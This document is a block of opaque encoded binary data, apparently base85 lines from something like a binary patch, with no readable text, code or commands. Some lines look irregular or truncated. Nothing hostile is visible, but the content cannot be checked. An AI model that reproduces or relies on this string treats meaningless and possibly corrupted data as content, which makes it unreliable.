zqqf)!Af8)VX!^B+UwukT+k`%xh^)~t3VzccvhPmIkVy+A(7dm#K|koo?ro)j?ie#L z+oLJ|2ODEa2ASo%JNIZ!{7}rRRrLW-N&TAkrb(42c3wi%rL?7!+1*Uf!{C%vev`#_ z$l7>Qn@`FMMYj#BY6)*WJ|q$&@9mYDl<=n?@}>06Ld{yrMk=+f$}nZyv#&uz^2A7_ z#4*(Ttn(^^XJvP4@e{D+LVkY<{{V?)w$fsgU3nYLu8!|uUO0~vz^f8RaG|*$p>VA+ zxrCNf6I;m}3XUuaiv2zqZE4Wi+|H(HV3@_%m_{S-rV9z8i;qXOy^$kHge>&n9Zux* z75U)e3ISf;PSxTs>c$W#soWDm+yU1k#u;#zX*UMVOwfYpYLYY2XbAb7ve?oVeJXpl zHxM6E0a~*BML_;wwWc>q!l4AvTQd4?c^<8}r)-l7Ssm=QtgjUSRy1k~*XNC;6gAmo zX&zuCElPqmr^}`rT2G+UEM7S7Vz`MFsD2~GMS6o=38cqX(d}N&SXWZDDtNF_Ao=as z{TUP*VlfmYV~{I9Vy2_%rb%fQDQ6vBdh7r{jzprC$9l!XL<)gUK%dotX-80RP=*}` zYT-ygBtd}V*9|JCq{^p~(TS!grDU@+MtH}#J!{()af^y^;X}0#wkf3e);?8WE-BBGmQ8B?QK zZ3yQp1JZ@I`>TZ%p?5s8u;*G+W8?D1(@SE4gP3Xpd;U0Bkkd%f8ioLL-wM-;O(K?3 z0K&APBob1*YC2$5!;tu>Kt4GjQA>kR@gsaTnpH*&I8%HUsjiDvnqNUc{(ywV{O zYI4FBQbKxlZO74-q$P3a^WA{axMVx?A3QY46DE@cN+Z#btTifN7`m4o8 z-8?#BwWhCcuI^(YjYWTFrWPw=Yn4I30n@i^Hp-B9lg`Xpz~658lA1!6JbG`9v06D1 zQZTE4@dpa4#qcQ$T6kc!RRzTuJpnz&6e9k&cW%O4dH9taYfisG!pQ}7dvki`S(q6Q zfB=2N0+l3&N03#j#|5DnUgAl^@T)B=QQ?HB3ANH2_$e@<09Ku{31jl<;RSzWbvQy% z5H67S2(QjKe`%N!KIPvI%y(pSXnJM5KUz!RvNaRXNXqPbHEZ&%9s4iA7m^0FCPUw5iUbdsyb$cif0VAcNIATqQmfP{3pfX3-UIGPF`m}v-B)u53@ zw8&mCdK1&>#?=vXaV_e_r>7)Hz#^p5p7_#Ri&?mhO|!Puryw_==mte;QcKC1k2Yqi z&{nt*hkN**Fd8b>`#ng@0v1XP3&h4Z z@HNRH10a>Q>FtfBMTC)(tx?$IETv{Pmar99wNhV@7306QN+>A#^+{tTJ09JsgqAdi zj!&&f5Q3FuunttvihFrgoChS%YP;8syZJJ24z@LJM3%Ej$$>KdlJjeB5Z zsrAhk;unhcX(I!pDpgP7aa5*#3rxI*ON}l`8Yq;O<|$Gz(k+jy0H_?Wg;;nNq3SjS zWYE&i(bNOi1=7<`FFvOmP#Re&xxs5nk1;DmGzX~3AO@0m1Bt1?k`eISszOzU@7sN_ zs+54R0x_{PITBK#Bp!nUH-BseT1glm-HQ8QwWLD_cAy5m>4jBivoSy?1oAzHhA2== zTdRci0x(c|fN&*H>GvUMDoNgiWP%*FHxaKcGyv~~imKUN&UkU_}}Rron00V{1*c;&LO5RM()`3>LKMG`Ox97n(FDYFB-| zuqCUT4K4`i@;I8b0avJ}xyYi>*7nIOFEo(HzfQkB@la$E3kOx4%_-Sn= zF-Zr+38n$EQPy)PL&%az?~_6%9xySNkre6gfr(U~QM8l;DJ;GNsL8RSt7Uy0C)5F1 zdj{$}F$kry`GGxtQbwS62nU8Xo)klB+ElSF(#17)AOpAGiYXBep=Tu_49#AokJp81 zFP>`&9IR+V4zw8pTLJ|w9%Vcdg1yZ$EJ;FM*nL&L7X(wN-vc04TM0`JEH*hcDu%LE zU+sHhgk_wN+eoDd<eU-+@9&FmF((8v(u+z!xDbD0N^478%-ultT6ygqlu{Nz8gh3Y((I+BmhV>CYY)oOBO~VHS4)J6-Yp< zQ9VTt#+a%hYGW$YW%2o9pfwcY&AtTqDf7i7Aw#pjGz56ky)YpXvPl>cRhSLLO+dgn6DBP!k~mr&yTh= zg?=AZqkDG64TWil;JfvvDyJ+nDXk599=N4JqG}qBI2CI;s#3jhrAj(TNp6D_luT?8 z2JO%cSW@PbkQ6_5D5XS^lo0!ZJK+f7Qxhz8E3i9liz-+paVM!?hr=amwWI;6{{Up- zkR2;q{g}ZN?}||5ky>JxDRIzXDyO#i;6*K!!*snm+X`(DD5(L|*QNx8LIQN@in%z`;^}~@ z*NqO~WKy@&R;g@NNsx}6Fo2+~9ckMNO1v}#5xy1$7K+b7PQCGBuPv%Vf##8FYd{T7 z7D!Z{B;S==*lmhwW8H_?ABQ7LO18nKJOXm@px*)rTk(Y?M*K#{W4F&Dw26jVfXT+a z1wk1rU_-9snTU{5hht1sF1M1{Fc$>ScHb1zVLa9ol~~UR#@qD5!jN)DY}H}LgJq|4 zfgv{2^t)Mthdh{yo#{`W7FLUw%eG9M{<5*iI}=(TzYQ(1tIKwU%6go|dW?-SP;`DE zqjCd&_-RxgS%pO^58iStm#xB;5xqxF`wUp3WHCf|BL=T7Cl}Ty7Fn3ckk8mGf-SrthpXZTc#dkiX|QeecVQ{#avy%{zS zy?f-TS~lf&MXho)wx}&sZ7PsywLAOu!%Jw`bX75WjA$uc{C@lhwE+t*;eprTuhU#uDaSO3#DcDAO@;+q>Xc%SP(kU6x_Om}0Cn;0g=wpKL%?gJS29Kb^s0y2d#C#*KwglR=5kVO! z&sz5$7?di!EpFW4B#*%45T|=MxwZ*9e)hj>C2UeD!H?kIZnz6zQ4Gt_;I>JO6et=+ zCw{fd7!{Y1i4Qa#2KWk%lp&2#!$>&}yn0sv3Q8h7c%A)0@SyB`a$G31Y(^`Vq{gGB zBr9vDJY<;1!oRBm+MLpZ@Pl6UIHd(3l_acn2AC46w$~FOc_>tOu1G2l8?#%w}wa?T5R1R__+LMsl#hZO?4qP2ABy= zDH$1$B6rBzrkZ`6^88B51uMD9psu^SlGV&{(1Iv`vjQmwXKll7I?&>P5aHL5uzW1R-(LwH;p!~S|Y;GmsZOG_VE~$ zw2X`>1zX<*F;rCn7&40X#34bbq!IMvX+#O?wFaKqB}5z0R*co!xGhvZw#)*G42o&C zl4!+7z~YyEVnDTO;)FBGSd-(^6%LIH5-4kmQAXZHBaY+0Tu`-xD)Kc07Arwrx5YM! z2_*q16r-X_rC4$Yx$T7sP2fWQqK+VTITk@dA&J_IXiwdWuk-+ra%w2>-wLO&NoN#w zR^-(AWsDNbi%9p9Dsk>GEudc5kBJE5-+X}#!A-QlTnNeA5QTmzYbmGB&%*^W zv`w|Zm@HBf2Mt>(;f?(lLV_k!-#RvQ^yD_N|vLh!EY#Y zAu*nqQE6?$MkOAYV5DqFz*z)cxthn}KM*5fTnXlg4KAj<8{v&M+|(RxHAs7H66XF# zOK68QGy=UvX^N^{d0y_`Q5%A+Daba*e+)FMC(?B|ipMZjW~~&k?ef5>rk!DM(SVS8 zjJ2xr7(xn-?V33C9o&A>>(M+hrVd3qKq0-puF-Pla7UiwMsUV7q{Ejx2_V%$f4=ssy=|%5T~avBW~t#8CY?D{G}4G82FNwO616ug;kgSpb^(qfFE+Vz;}VE;h_a<;IlXp&tFR zAlp7jt9w<|Sln1b$r=D$(13l$C74Zg%~C}_1c~U6wa9cm&2lM5{*cmVRfAXbo<